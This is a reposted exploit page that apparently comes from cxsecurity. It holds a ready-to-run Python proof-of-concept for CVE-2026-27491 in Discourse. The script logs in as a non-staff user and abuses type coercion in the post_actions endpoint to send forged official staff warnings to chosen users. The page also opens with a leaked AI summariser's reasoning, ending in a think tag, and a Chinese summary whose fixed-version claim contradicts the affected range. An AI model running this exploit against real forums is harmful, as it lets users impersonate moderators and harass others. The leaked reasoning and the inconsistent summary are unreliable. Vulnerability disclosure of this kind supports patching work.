Discourse < = 2026.2.1 Authenticated Missing Authorization
嗯,用户发来了一段内容,看起来是一个关于Discourse漏洞的Python脚本。他让我用中文帮他总结一下文章内容,控制在100字以内,而且不需要特定的开头。 首先,我需要理解这段内容。看起来这是一个漏洞的详细说明,包括CVE编号、影响版本、作者信息、利用方法等。用户可能是一个安全研究人员或者开发者,想快速了解这个漏洞的核心信息。 接下来,我应该提取关键点:漏洞名称、影响范围、攻击类型、CVSS评分、修复版本以及漏洞描述。这些信息需要简洁明了地呈现出来。 然后,我需要确保总结控制在100字以内,同时不使用“文章内容总结”这样的开头。直接描述漏洞的情况和影响。 最后,检查是否有遗漏的重要信息,比如漏洞利用的条件和修复建议,确保总结全面且准确。 </think> Discourse <= 2026.2.1 存在认证绕过漏洞(CVE-2026-27491),允许非管理员用户通过滥用 post_actions 端点向其他用户发送官方警告。该漏洞利用类型转换问题,在 notify_user 操作中将字符串 "true" 作为布尔值处理。修复版本为 2026.1.2 及以上。 2026-3-21 22:1:36 Author: cxsecurity.com(查看原文) 阅读量:8 收藏

Discourse <= 2026.2.1 Authenticated Missing Authorization

#!/usr/bin/env python3 # Exploit Title: Discourse <= 2026.2.1 Authenticated Missing Authorization (Official Warnings Bypass) # CVE: CVE-2026-27491 # Date: 2026-03-21 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Vendor Homepage: https://www.discourse.org # Software Link: https://github.com/discourse/discourse # Affected: Discourse <= 2026.2.1 (and earlier unpatched releases in 2026.x / 3.2.x branches) # Tested on: Discourse 3.2.x (pre-patch) # Category: Webapps # Platform: Ruby on Rails # Exploit Type: Remote Authorization Bypass # CVSS: 6.5 (Medium) – AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N # CWE: CWE-862 # Description: Authenticated non-staff users can issue official staff warnings to other users # by abusing type coercion in the post_actions endpoint (notify_user action). # Fixed in: 2026.1.2, 2026.2.1, 2026.3.0-latest.1 # Usage: # python3 exploit.py <target_url> --username <user> --password <pass> --target-user-id <id> --post-id <post_id> # # Examples: # python3 exploit.py https://forum.example.com --username regular --password pass123 \ # --target-user-id 456 --post-id 7890 # print(r""" ╔════════════════════════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ ▄▄▄▄· ▄▄▄ . ▄▄ • ▄▄▄▄▄ ▄▄▄ ▄▄▄· ▄▄▄· ▄▄▄▄▄▄▄▄▄ .▄▄▄ ▄• ▄▌ ║ ║ ▐█ ▀█▪▀▄.▀·▐█ ▀ ▪•██ ▪ ▀▄ █·▐█ ▀█ ▐█ ▄█•██ ▀▀▄.▀·▀▄ █·█▪██▌ ║ ║ ▐█▀▀█▄▐▀▀▪▄▄█ ▀█ ▐█.▪ ▄█▀▄ ▐▀▀▄ ▄█▀▀█ ██▀· ▐█.▪▐▀▀▪▄▐▀▀▄ █▌▐█· ║ ║ ██▄▪▐█▐█▄▄▌▐█▄▪▐█ ▐█▌·▐█▌.▐▌▐█•█▌▐█ ▪▐▌▐█▪·• ▐█▌·▐█▄▄▌▐█•█▌▐█▄█▌ ║ ║ ·▀▀▀▀ ▀▀▀ ·▀▀▀▀ ▀▀▀ ▀█▄▀▪.▀ ▀ ▀ ▀ .▀ ▀▀▀ ▀▀▀ .▀ ▀ ▀▀▀ ║ ║ ║ ║ b a n y a m e r _ s e c u r i t y ║ ║ ║ ║ >>> Silent Hunter • Shadow Presence <<< ║ ║ ║ ║ Operator : Mohammed Idrees Banyamer Jordan 🇯🇴 ║ ║ Handle : @banyamer_security ║ ║ ║ ║ CVE-2026-27491 • Discourse → Issue Official Warnings as Non-Staff ║ ║ ║ ╚════════════════════════════════════════════════════════════════════════════════════════════╝ """) import argparse import requests import sys from urllib.parse import urljoin def get_csrf(session, base_url): r = session.get(urljoin(base_url, "/session/csrf")) if r.status_code != 200: print("[-] Failed to fetch CSRF token") sys.exit(1) data = r.json() csrf = data.get("csrf") if not csrf: print("[-] CSRF token not found") sys.exit(1) return csrf def login(session, base_url, username, password): csrf = get_csrf(session, base_url) login_url = urljoin(base_url, "/session") payload = { "login": username, "password": password, "second_factor_method": 1, "value": "", "use_another_method": False, "remember_me": False, "csrf": csrf } r = session.post(login_url, json=payload) if r.status_code != 200 or not r.json().get("success"): print("[-] Login failed - check credentials") sys.exit(1) print("[+] Login successful") return get_csrf(session, base_url) # refresh csrf after login def issue_warning(session, base_url, post_id, target_user_id, message): csrf = get_csrf(session, base_url) url = urljoin(base_url, "/post_actions") payload = { "id": post_id, "post_action_type_id": 4, # notify_user "message": message, "is_warning": "true", # string that triggered the bypass "username": f"user_{target_user_id}", "take_action": True, "csrf": csrf } headers = { "X-CSRF-Token": csrf, "Accept": "application/json, */*", "Content-Type": "application/json" } r = session.post(url, json=payload, headers=headers) if r.status_code == 200 and "success" in r.text.lower(): print("[+] SUCCESS: Official warning sent!") print(f" → Target user ID: {target_user_id}") print(f" → Message: {message}") print(" → Should now appear in target user's inbox as staff warning") else: print(f"[-] Failed ({r.status_code})") try: print(r.json()) except: print(r.text[:400]) def main(): parser = argparse.ArgumentParser( description="CVE-2026-27491 PoC - Discourse non-staff official warning bypass" ) parser.add_argument("target", help="Target Discourse URL (e.g. https://forum.example.com)") parser.add_argument("--username", required=True, help="Non-staff username") parser.add_argument("--password", required=True, help="Password") parser.add_argument("--target-user-id", type=int, required=True, help="User ID to send warning to") parser.add_argument("--post-id", type=int, required=True, help="Any post ID visible to the account") parser.add_argument("--message", default="This is an unauthorized official warning test", help="Warning text") args = parser.parse_args() s = requests.Session() s.headers.update({"User-Agent": "Mozilla/5.0 (PoC)"}) print(f"[*] Target: {args.target}") login(s, args.target, args.username, args.password) print(f"[*] Attempting to issue warning to user ID {args.target_user_id} via post {args.post_id}") issue_warning(s, args.target, args.post_id, args.target_user_id, args.message) if __name__ == "__main__": main()

References:

https://github.com/discourse/discourse/security/advisories/GHSA-xq37-5fvf-4m4j

https://github.com/discourse/discourse/commit/d3cb203feabc46d765ecb91f348613a2bd531b89

https://github.com/discourse/discourse/commit/60a588f4da4ab0feceb2c44787d4261b4f8757be

https://github.com/discourse/discourse/commit/f5fef73827da7520efc517357bd2a6bab35d7886

https://nvd.nist.gov/vuln/detail/CVE-2026-27491




 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}


文章来源: https://cxsecurity.com/issue/WLB-2026030028
如有侵权请联系:admin#unsafe.sh